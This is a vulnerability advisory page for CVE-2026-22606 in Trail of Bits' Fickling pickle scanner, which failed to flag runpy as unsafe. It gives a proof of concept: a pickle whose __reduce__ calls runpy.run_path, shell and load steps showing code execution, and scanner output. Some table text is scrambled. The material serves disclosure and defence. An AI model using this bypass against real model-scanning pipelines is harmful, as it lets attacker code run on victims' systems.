CVE-2026-22606 is a high severity vulnerability with a CVSS score of 7.8. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).
Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.
If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.
This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.
The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).
Incriminated source code:
fickling/analysis.pyUnsafeImportsrunpy, runpy.run_path, runpy.run_module, or runpy._run_codeReference to similar fix:
pty to the blocklist to fix CVE-2025-67748runpyHow the bypass works:
runpy.run_path() in __reduce__UnsafeImports analysis does not flag runpy as dangerousUnusedVariables heuristic triggers, resulting in SUSPICIOUS severityOVERTLY_MALICIOUS like os.system, eval, and exec| Vendor | Product |
|---|---|
| Trailofbits | Fickling |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
Tested behavior (fickling 0.1.6):
| Function | Fickling Severity | RCE Capable | |-------------------|----------------------------|-------------| | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | runpy.run_path | SUSPICIOUS | Yes ← BYPASS | | runpy.run_module | SUSPICIOUS | Yes ← BYPASS |
Suggested fix:
Add to the unsafe imports blocklist in fickling/analysis.py:
Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:
Step 1: Create malicious pickle
import pickle import runpy
class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))
with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)
Step 2: Create the malicious script that will be executed
echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py
Step 3: Analyze with fickling
fickling --check-safety malicious.pkl
Expected output (if properly detected): Severity: OVERTLY_MALICIOUS
Actual output (bypass confirmed):
{
"severity": "SUSPICIOUS",
"analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file",
"detailed_results": {
"AnalysisResult": {
"UnusedVariables": ["_var0", "run_path(...)"]
}
}
}
Step 4: Prove RCE by loading the pickle
import pickle pickle.load(open("malicious.pkl", "rb"))
Pickle disassembly (evidence):
0: \x80 PROTO 4
2: \x95 FRAME 92
11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP
Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).
Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:
Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.
Severity: HIGH
runpy